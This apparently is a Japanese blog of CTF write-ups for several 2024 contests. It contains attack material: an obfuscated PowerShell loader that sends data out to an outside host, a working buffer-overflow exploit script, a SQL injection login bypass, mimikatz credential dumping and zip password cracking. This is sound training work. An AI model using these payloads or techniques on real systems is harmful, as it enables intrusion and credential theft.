Exif Byte Order                 : Big-endian (Motorola, MM)
Orientation                     : Horizontal (normal)
X Resolution                    : 144
Y Resolution                    : 144
Resolution Unit                 : inches
Software                        : UTNsaU1ISm5lMDFqUTJGeWRHaDVmU0E9
User Comment                    : Screenshot
Exif Image Width                : 1014
Exif Image Height               : 1162
Profile CMM Type                : Apple Computer Inc.
Profile Version                 : 2.1.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
        :
        :

Softwareにbase64文字列らしきものが設定されている。

$ echo UTNsaU1ISm5lMDFqUTJGeWRHaDVmU0E9 | base64 -d                                       
Q3liMHJne01jQ2FydGh5fSA=                                                                                                                   
$ echo UTNsaU1ISm5lMDFqUTJGeWRHaDVmU0E9 | base64 -d | base64 -d
Cyb0rg{McCarthy}
Cyb0rg{McCarthy}

pineapple (forensics)

httpでフィルタリングする。No.1475パケットで、以下の情報をPOSTしていることがわかる。

Form item: "username" = "jbarker"
Form item: "filename" = "hoolicon"
Form item: "filepw" = "conjoined_TRIANGLES"

またNo.1826パケットでhoolicon.7zというファイル名の7-zipファイルをPOSTしていることがわかるので、エクスポートする。
先ほどのパスワード "conjoined_TRIANGLES" で解凍すると、flagimg.pngが展開され、その画像にフラグが書いてあった。

CYBORG{pe4cefaRe_4x09}

Computer Has Virus (forensics)

emlファイルのbase64部分を抽出し、base64デコードし、antivirus.exeを生成する。

#!/usr/bin/env python3
from base64 import *

with open('URGENT.eml', 'r') as f:
    lines = f.read().splitlines()

b64 = ''.join(lines[84:552])
exe = b64decode(b64)

with open('antivirus.exe', 'wb') as f:
    f.write(exe)
$ file antivirus.exe 
antivirus.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

.Net製なので、dnSpyでデコンパイルする。Resourceのtest.ps1には以下のように書いてある。

$compressed = 'H4sIAAAAAAAA/1TNQWvyQBDG8Xs+xRgCrx4SFW+B8EJFtIcSMA1SSglxHZOlyW66+6xtEL97iVhpr8P8n19wbMqKEvKXLw/pdn3OFsKZOfoCtZm5qi7Svb1d5rZQMxSnhekLO7wtRhffC1gJSug16y24jXa8jzZAl0M2Ev1bHOemWSmhDzy+WhPyApSmYuSmGeAa6OLp1FkhcOSvo2xgSkitIqHb6f3A/4c6GTifPJiezh4RUWDYdlpZpoQe1Um/c7jj/ZY/HFtQmBtJv7zwiVHrA61Xz9d6ZyQ4TB06B/J/pmIKxvfdKEMJZ5f6wBOfvAuJEqK+6X/7fEPpZkSZbhm1VNU/S59Gq2o0dN53AAAA//+hRs8SawEAAA=='; $bytes = [System.Convert]::FromBase64String($compressed); $stream = New-Object IO.MemoryStream(, $bytes); $decompressed = New-Object IO.Compression.GzipStream($stream, [IO.Compression.CompressionMode]::Decompress); $reader = New-Object IO.StreamReader($decompressed); $obfuscated = $reader.ReadToEnd(); Invoke-Expression $obfuscated

改行を入れて読みやすくする。

$compressed = 'H4sIAAAAAAAA/1TNQWvyQBDG8Xs+xRgCrx4SFW+B8EJFtIcSMA1SSglxHZOlyW66+6xtEL97iVhpr8P8n19wbMqKEvKXLw/pdn3OFsKZOfoCtZm5qi7Svb1d5rZQMxSnhekLO7wtRhffC1gJSug16y24jXa8jzZAl0M2Ev1bHOemWSmhDzy+WhPyApSmYuSmGeAa6OLp1FkhcOSvo2xgSkitIqHb6f3A/4c6GTifPJiezh4RUWDYdlpZpoQe1Um/c7jj/ZY/HFtQmBtJv7zwiVHrA61Xz9d6ZyQ4TB06B/J/pmIKxvfdKEMJZ5f6wBOfvAuJEqK+6X/7fEPpZkSZbhm1VNU/S59Gq2o0dN53AAAA//+hRs8SawEAAA=='; 
$bytes = [System.Convert]::FromBase64String($compressed); 
$stream = New-Object IO.MemoryStream(, $bytes); 
$decompressed = New-Object IO.Compression.GzipStream($stream, [IO.Compression.CompressionMode]::Decompress); 
$reader = New-Object IO.StreamReader($decompressed); 
$obfuscated = $reader.ReadToEnd(); Invoke-Expression $obfuscated

base64文字列部分をデコードすると、gzファイルになるので、解凍・展開する。

#!/usr/bin/env python3
from base64 import *
import gzip

compressed = 'H4sIAAAAAAAA/1TNQWvyQBDG8Xs+xRgCrx4SFW+B8EJFtIcSMA1SSglxHZOlyW66+6xtEL97iVhpr8P8n19wbMqKEvKXLw/pdn3OFsKZOfoCtZm5qi7Svb1d5rZQMxSnhekLO7wtRhffC1gJSug16y24jXa8jzZAl0M2Ev1bHOemWSmhDzy+WhPyApSmYuSmGeAa6OLp1FkhcOSvo2xgSkitIqHb6f3A/4c6GTifPJiezh4RUWDYdlpZpoQe1Um/c7jj/ZY/HFtQmBtJv7zwiVHrA61Xz9d6ZyQ4TB06B/J/pmIKxvfdKEMJZ5f6wBOfvAuJEqK+6X/7fEPpZkSZbhm1VNU/S59Gq2o0dN53AAAA//+hRs8SawEAAA=='; 
stream = b64decode(compressed)

with open('flag.gz', 'wb') as f:
    f.write(stream)

with gzip.open('flag.gz', 'rb') as gf:
    content = gf.read().decode()
    print(content)

実行結果は以下の通り。

$flag = "CYBORG{S3cur1ty_thr0ugh_Obscur1ty_1s_n0t_v3ry_s3cur3!}"
$enc = [System.Web.HttpUtility]::UrlEncode($flag)
$targetUrl = "http://uscctfexfiltration.com/exfiltrate?flag=$enc"
try {
    $response = Invoke-WebRequest -Uri $targetUrl -Method GET
    Write-Output "response: $($response.StatusCode)"
} catch {
    Write-Output "UH OH! Something's wrong!"
}
CYBORG{S3cur1ty_thr0ugh_Obscur1ty_1s_n0t_v3ry_s3cur3!}

decipherium (crypto)

元素記号を表していると推測する。以下のように原子番号に置き換える。

・Cd: 48
・In: 49
・Sn: 50
・Sb: 51
・Te: 52
・I : 53
・Xe: 54
・Cs: 55
・Ba: 56
・La: 57
・Dy: 66
・Ho: 67
・Er: 68
・Yb: 70
・Fm: 100
・Md: 101
・No: 102

16進数文字列になるので、hexデコードすればフラグになる。

#!/usr/bin/env python3
from string import *
with open('message.txt', 'r') as f:
    data = f.read().rstrip()

symbols = []
for i in range(len(data)):
    if data[i] in ascii_uppercase:
        symbols.append(data[i])
    else:
        symbols[-1] = symbols[-1] + data[i]

atomic_number = {'Cd': 48, 'In': 49, 'Sn': 50, 'Sb': 51, 'Te': 52, 'I': 53,
    'Xe': 54, 'Cs': 55, 'Ba': 56, 'La': 57, 'Dy': 66, 'Ho': 67, 'Er': 68,
    'Yb': 70, 'Fm': 100, 'Md': 101, 'No': 102}

msg = ''
for symbol in symbols:
    msg += chr(atomic_number[symbol])

flag = bytes.fromhex(msg).decode()
print(flag)
CYBORG{PERI0DIC_C1PH3R_0F_3LEMENT5}

unpopcorn (crypto)

暗号化処理の概要は以下の通り。

・m = 57983
・p: 未知の数値
・flag: フラグ
・msg = churn(butter(pop(flag)))
 ・popは各文字のASCIIコードと42とのXORした数値配列
 ・butterは各数値にpを掛けmで割った余りの数値配列
 ・churnは各数値を3ビット左シフトしたものの16進数文字列の16個目以降と先頭16個目を並べたもの
・msgをmessage.txtに書き込み

pが不明なので、フラグが"CYBORG{"から始まることを前提にpを割り出す。あとは逆算して元に戻す。

#!/usr/bin/env python3
from Crypto.Util.number import *

m = 57983

with open('message.txt', 'r') as f:
    ct = f.read().split(' ')

ct = ct[-16:] + ct[:-16]
ct = [int(c, 16) >> 3 for c in ct]

flag_head = 'CYBORG{'
p = ct[0] * inverse(ord(flag_head[0]) ^ 42, m) % m

for i in range(len(flag_head)):
    assert (ord(flag_head[i]) ^ 42) * p % m == ct[i]

flag = ''
for i in range(len(ct)):
    x = ct[i] * inverse(p, m) % m
    flag += chr(x ^ 42)
print(flag)
CYBORG{R1Ch_BUTT3RY_SUSTENANC3}

D' Lo (crypto)

秘密鍵の下位240ビットがわかっているので、Partial Key Exposure Attackでnを素因数分解し復号する。

#!/usr/bin/env sage
from Crypto.Util.number import *

def partial_p(p0, kbits, n):
    PR.<x> = PolynomialRing(Zmod(n))
    nbits = n.nbits()

    f = 2^kbits * x + p0
    f = f.monic()
    roots = f.small_roots(X=2^(nbits // 2 - kbits), beta=0.3)
    if roots:
        x0 = roots[0]
        p = gcd(2^kbits * x0 + p0, n)
        return ZZ(p)

def find_p(d0, kbits, e, n):
    X = var('X')

    for k in range(1, e + 1):
        results = solve_mod([e * d0 * X - k * X * (n - X + 1) + k * n == X],
            2^kbits)
        for x in results:
            p0 = ZZ(x[0])
            p = partial_p(p0, kbits, n)
            if p:
                return p

e = 7
n = 9537465719795794225039144316914692273057528543708841063782449957642336689023241057406145879616743252508032700675419312420008008674130918587435719504215151
c = 4845609252254934006909399633004175203346101095936020726816640779203362698009821013527198357879072429290619840028341235069145901864359947818105838016519415
d_low = 'b9b24053029f5f424adc9278c750b42b0b2a134b0a52f13676e94c01ef77'

kbits = len(d_low) * 4
d0 = int(d_low, 16)

p = find_p(d0, kbits, e, n)
q = n // p
assert p * q == n

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(int(m)).decode()
print(flag)
CYBORG{H0w_w3ll_d0_y0u_th1nk_d'lo_w1ll_d0_7h15_53ason??}

Survey (feedback)

アンケートに答えたら、フラグが表示された。

CYBORG{usc_ctf_feedback_submitted}

Hack The Vote 2024 Writeup

この大会は2024/11/2 8:00(JST)~2024/11/4 8:00(JST)に開催されました。
今回もチームで参戦。結果は1点で559チーム中182位でした。
参加賞の問題しか解けませんでしたが、
自分で解けた問題をWriteupとして書いておきます。

sanity (sanity)

問題にフラグが書いてあった。

flag{w3lc0m3_t0_h4ck_th3_v0t3}

SpookyCTF 2024 Writeup

この大会は2024/10/26 8:00(JST)~2024/10/28 8:00(JST)に開催されました。
今回もチームで参戦。結果は1189点で831チーム中191位でした。
自分で解けた問題をWriteupとして書いておきます。

Read the Rules (r00lz)

Discordに入り、Rulesを見ると、最下部にフラグが書いてあった。

NICC{I_will_behave_now_let_me_in}

Well-Met (misc)

https://spookyctf.ctfd.io/loreのHTMLソースを見ると、以下のようにフラグの断片があった。

        :
<p class="redacted" id="spookyflag_part1">NICC{StOr</p>
        :
<img class="img-fluid" src="/files/img/nah4real.png" width="400" height="400" id="spookyflag_p2" alt="IeS_DoNt_M"/>
        :
<span class="p-l redacted" id="p3">aKe_ThE_cTf_T</span>
        :
<!--<p4>oO_cTfY_rIgHt?}</p4> -->
        :

フラグの断片を結合する。

NICC{StOrIeS_DoNt_MaKe_ThE_cTf_ToO_cTfY_rIgHt?}

two-frames-one-champ (misc)

両方のpngファイルとも先頭1バイトが壊れているので、以下のように修正する。

ff → 89

両方とも何も見つからない。両方のRGBについてXORをして画像にする。

#!/usr/bin/env python3
from PIL import Image

img1 = Image.open('image1_fix.png').convert('RGB')
img2 = Image.open('image2_fix.png').convert('RGB')

w, h = img1.size

output_img = Image.new('RGB', (w, h), (255, 255, 255))

for y in range(h):
    for x in range(w):
        r1, g1, b1 = img1.getpixel((x, y))
        r2, g2, b2 = img2.getpixel((x, y))
        output_img.putpixel((x, y), (r1 ^ r2, g1 ^ g2, b1 ^ b2))

output_img.save('flag.png')


生成した画像にフラグが書いてあった。

NICC{ch4mp_s19ht3d_0v0}

B00fer (bin)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_28 [32];
  
  setvbuf(stdout,(char *)0x0,2,0);
  puts("Hi there NICC! This program is 100% and there is NO WAY you are getting our flag.\n");
  gets(local_28);
  return 0;
}

void win(void)

{
  char local_38 [40];
  FILE *local_10;
  
  local_10 = fopen("flag.txt","r");
  fread(local_38,1,0x20,local_10);
  puts(local_38);
  puts("Good!\n");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

BOFでwin関数をコールすればよい。

$ ROPgadget --binary B00fer | grep ": ret"
0x000000000040101a : ret
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('b00fer.niccgetsspooky.xyz', 9001)
else:
    p = process('./B00fer')

elf = ELF('./B00fer')

ret_addr = 0x40101a
win_addr = elf.symbols['win']

payload = b'A' * 40
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to b00fer.niccgetsspooky.xyz on port 9001: Done
[*] '/mnt/hgfs/Shared/B00fer'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
Hi there NICC! This program is 100% and there is NO WAY you are getting our flag.
b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00'\x12@\x00\x00\x00\x00\x00"

b'NICC{Sp00ked_the_fl4g_0ut_of_m3}AAAAAAAA\xb02\xab<'
[*] Closed connection to b00fer.niccgetsspooky.xyz port 9001
NICC{Sp00ked_the_fl4g_0ut_of_m3}

cryptid-hunters (web)

Creaturesをクリックし、ログイン画面で以下の通り入力し、Loginする。

Username: ' or 1=1 -- -
Password: a

Chenの画像の下のLocationにフラグが書いてあった。

NICC{1N_PuRSu1T_0F_4LL13S}

lsass-crackdown (forensics)

>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 02:01:23
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # sekurlsa::minidump dump.DMP
Switch to MINIDUMP : 'dump.DMP'

mimikatz # sekurlsa::logonPasswords
Opening : 'dump.DMP' file for minidump...

Authentication Id : 0 ; 6471305 (00000000:0062be89)
Session           : Interactive from 2
User Name         : Consortium
Domain            : DESKTOP-UBFFHS2
Logon Server      : DESKTOP-UBFFHS2
Logon Time        : 2024/10/18 10:40:41
SID               : S-1-5-21-996221637-1914836208-3740248221-1011
        msv :
         [00000003] Primary
         * Username : Consortium
         * Domain   : DESKTOP-UBFFHS2
         * NTLM     : f6c479f4b9904f884fede1b2d4328d98
         * SHA1     : 8e0cf85ff4c266ff4ef626580cce1ff025118c6f
         * DPAPI    : 8e0cf85ff4c266ff4ef626580cce1ff0
        tspkg :
        wdigest :
         * Username : Consortium
         * Domain   : DESKTOP-UBFFHS2
         * Password : (null)
        kerberos :
         * Username : Consortium
         * Domain   : DESKTOP-UBFFHS2
         * Password : (null)
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 6406742 (00000000:0061c256)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2024/10/18 10:39:42
SID               : S-1-5-90-0-2
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP-UBFFHS2$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 6405850 (00000000:0061beda)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2024/10/18 10:39:42
SID               : S-1-5-90-0-2
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP-UBFFHS2$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 6401537 (00000000:0061ae01)
Session           : Interactive from 2
User Name         : UMFD-2
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 2024/10/18 10:39:42
SID               : S-1-5-96-0-2
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP-UBFFHS2$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 159531 (00000000:00026f2b)
Session           : Interactive from 1
User Name         : johndoe
Domain            : DESKTOP-UBFFHS2
Logon Server      : DESKTOP-UBFFHS2
Logon Time        : 2024/10/18 7:16:35
SID               : S-1-5-21-996221637-1914836208-3740248221-1001
        msv :
         [00000003] Primary
         * Username : johndoe
         * Domain   : .
         * NTLM     : bbf53d134077fc615eac56ccddb8b7b3
         * SHA1     : 322dfdd498b4441e023bb01daa343bf820a06210
         * DPAPI    : 322dfdd498b4441e023bb01daa343bf8
        tspkg :
        wdigest :
         * Username : johndoe
         * Domain   : DESKTOP-UBFFHS2
         * Password : (null)
        kerberos :
         * Username : johndoe
         * Domain   : DESKTOP-UBFFHS2
         * Password : (null)
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 159426 (00000000:00026ec2)
Session           : Interactive from 1
User Name         : johndoe
Domain            : DESKTOP-UBFFHS2
Logon Server      : DESKTOP-UBFFHS2
Logon Time        : 2024/10/18 7:16:35
SID               : S-1-5-21-996221637-1914836208-3740248221-1001
        msv :
         [00000003] Primary
         * Username : johndoe
         * Domain   : .
         * NTLM     : bbf53d134077fc615eac56ccddb8b7b3
         * SHA1     : 322dfdd498b4441e023bb01daa343bf820a06210
         * DPAPI    : 322dfdd498b4441e023bb01daa343bf8
        tspkg :
        wdigest :
         * Username : johndoe
         * Domain   : DESKTOP-UBFFHS2
         * Password : (null)
        kerberos :
         * Username : johndoe
         * Domain   : DESKTOP-UBFFHS2
         * Password : (null)
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 53218 (00000000:0000cfe2)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2024/10/18 7:16:33
SID               : S-1-5-90-0-1
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP-UBFFHS2$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 53168 (00000000:0000cfb0)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2024/10/18 7:16:33
SID               : S-1-5-90-0-1
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP-UBFFHS2$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2024/10/18 7:16:33
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : DESKTOP-UBFFHS2$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2024/10/18 7:16:33
SID               : S-1-5-20
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP-UBFFHS2$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : desktop-ubffhs2$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 29607 (00000000:000073a7)
Session           : Interactive from 1
User Name         : UMFD-1
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 2024/10/18 7:16:33
SID               : S-1-5-96-0-1
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP-UBFFHS2$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 29579 (00000000:0000738b)
Session           : Interactive from 0
User Name         : UMFD-0
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 2024/10/18 7:16:33
SID               : S-1-5-96-0-0
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP-UBFFHS2$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 28230 (00000000:00006e46)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2024/10/18 7:16:33
SID               :
        msv :
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :
        cloudap :       KO

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : DESKTOP-UBFFHS2$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2024/10/18 7:16:33
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : DESKTOP-UBFFHS2$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : desktop-ubffhs2$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :
        cloudap :       KO

ConsortiumのNTLMハッシュが以下であることがわかった。

f6c479f4b9904f884fede1b2d4328d98

CrackStationでクラックすると、パスワードは以下であることがわかった。

1987evilovekoen
NICC{1987evilovekoen}

devil's-secret-stash (steg)

$ binwalk devil.jpg  

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, EXIF standard
12            0xC             TIFF image data, big-endian, offset of first image directory: 8
15196         0x3B5C          Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"
250250        0x3D18A         Zip archive data, encrypted compressed size: 55, uncompressed size: 27, name: flag
250447        0x3D24F         End of Zip archive, footer length: 22

後ろにzipがくっついているので、切り出す。

$ dd bs=1 skip=250250 if=devil.jpg of=flag.zip
219+0 records in
219+0 records out
219 bytes copied, 0.0227752 s, 9.6 kB/s

zipはパスワードがかかっているので、クラックする。

$ zip2john flag.zip > zip.hash
$ john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 AVX 4x])
Cost 1 (HMAC size) is 27 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
250250           (flag.zip/flag)     
1g 0:00:00:00 DONE (2024-10-26 08:36) 1.298g/s 63833p/s 63833c/s 63833C/s heinrich..trudy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

パスワードは 250250 であるとわかったので、解凍する。すると、flagが展開され、そこにフラグが書いてあった。

NICC{J3rS3y_D3v1l_Arch1V3}

set-your-intentions-right (steg)

Sonic Visualiserで開き、All Channels Mixedでスペクトグラムを見ると、フラグが現れた。

NICC{UR_4SAK3N_D3CISION}

whispers-in-morse (steg)

jpgの終端 ff d9 の後に以下の文字列がある。

Password: M.A.__.R.Y

このパスワードを使って、steghideで秘匿情報を抽出する。

$ steghide extract -sf MaryMorse.jpg -p M.A.__.R.Y
wrote extracted data to "flag.txt".
$ cat flag.txt       
NICC{tHe_whIspeRz_iN_Th3_aiR}
NICC{tHe_whIspeRz_iN_Th3_aiR}

Phenominal-Photo (steg)

$ steghide extract -sf boo.jpg                     
Enter passphrase: 
wrote extracted data to "Ship#1.zip".

zipが抽出できたので、解凍してみる。

$ unzip "Ship#1.zip"
Archive:  Ship#1.zip
   creating: Ship#1/
  inflating: Ship#1/Map.txt          
  inflating: Ship#1/gps.zip
$ cd "Ship#1"
$ cat Map.txt
⋔⏃⌿: ⌰⟒⎎⏁, ⎍⌿, ⎅⍜⍙⋏, ⌰⟒⎎⏁, ⎅⍜⍙⋏, ⍀⟟☌⊑⏁, ⍀⟟☌⊑⏁, ⎅⍜⍙⋏, ⌰⟒⎎⏁, ⎍⌿, ⌰⟒⎎⏁, ⍀⟟☌⊑⏁, ⎍⌿

⍀⟒⋔⟟⋏⎅⟒⍀ ⏁⊑⏃⏁ ⍜⎍⍀ ☌⌿⌇ ⟟⌇ ⏃ ⌰⟟⏁⏁⌰⟒ ⎎⎍⋏☍⊬, ⟟⏁ ⍜⋏⌰⊬ ⏁⏃☍⟒⌇ ⏁⊑⟒ ⎎⟟⍀⌇⏁ ⌰⟒⏁⏁⟒⍀ ⍜⎎ ⟒⏃☊⊑ ⎅⟟⍀⟒☊⏁⟟⍜⋏ ⍙⟒ ⍙⏃⋏⏁ ⏁⍜ ☌⍜ (⌇⏁⎍⌿⟟⎅ ⋔⟒⋔⍜⍀⊬ ⋔⏃⋏⏃☌⟒⋔⟒⋏⏁)
$ zipinfo gps.zip             
Archive:  gps.zip
Zip file size: 275 bytes, number of entries: 1
-rw-rw-r--  3.0 unx       84 TX defN 24-Oct-27 06:02 myrequest.txt
1 file, 84 bytes uncompressed, 71 bytes compressed:  15.5%
$ zip2john gps.zip > zip.hash 
ver 2.0 efh 5455 efh 7875 gps.zip/myrequest.txt PKZIP Encr: TS_chk, cmplen=83, decmplen=84, crc=AEF4ECF5 ts=884F cs=884f type=8

zipにはパスワードがかかっている。
Map.txtの内容はAlien Languageであると推測でき、https://www.dcode.fr/alien-languageでデコードする。

MAP: LEFT, UP, DOWN, LEFT, DOWN, RIGHT, RIGHT, DOWN, LEFT, UP, LEFT, RIGHT, UP

REMINDER THAT OUR GPS IS A LITTLE FUNKY, IT ONLY TAKES THE FIRST LETTER OF EACH DIRECTION WE WANT TO GO (STUPID MEMORY MANAGEMENT)

「注意: GPSは少し変わっている。行きたい方向の最初の文字だけを入力すればよい (愚かなメモリ管理)」ということなので、方向の頭文字だけ取る。

LUDLDRRDLULRU

これをパスワードとしてzipを解凍する。

$ unzip gps.zip     
Archive:  gps.zip
[gps.zip] myrequest.txt password: 
  inflating: myrequest.txt
$ cat myrequest.txt 
⋏⟟☊☊{⊑⟒⌰⌿_⋔⟒_⎎⟟⋏⎅_⏁⊑⟒_⌿⌰⏃⋏⟒⏁_⏚0}

フラグもAlien Languageになっているので、デコードする。

NICC{HELP_ME_FIND_THE_PLANET_B0O}

the-moth-flies-at-dawn (crypto)

wordList.txtの各ワードのsha256がhash.txtのハッシュと一致しているものをブルートフォースで探す。

#!/usr/bin/env python3
import hashlib

with open('hash.txt', 'r') as f:
    target = f.read().rstrip()

with open('wordList.txt', 'r') as f:
    words = f.read().splitlines()

for word in words:
    h = hashlib.sha256(word.encode()).hexdigest()
    if h == target:
        print(word)
        break

ハッシュが一致した文字列は以下であることがわかった。

blueberrypancake
NICC{blueberrypancake}

feedback (r00lz)

アンケートに答えていく途中で1つ目のフラグの断片が見つかる。

Flag part one: NICC{7H4NK5

最後に送信した後に、2つ目のフラグの断片が表示された。

Thank you for your feedback! Part 2: _F0r_Pl4y1N}
NICC{7H4NK5_F0r_Pl4y1N}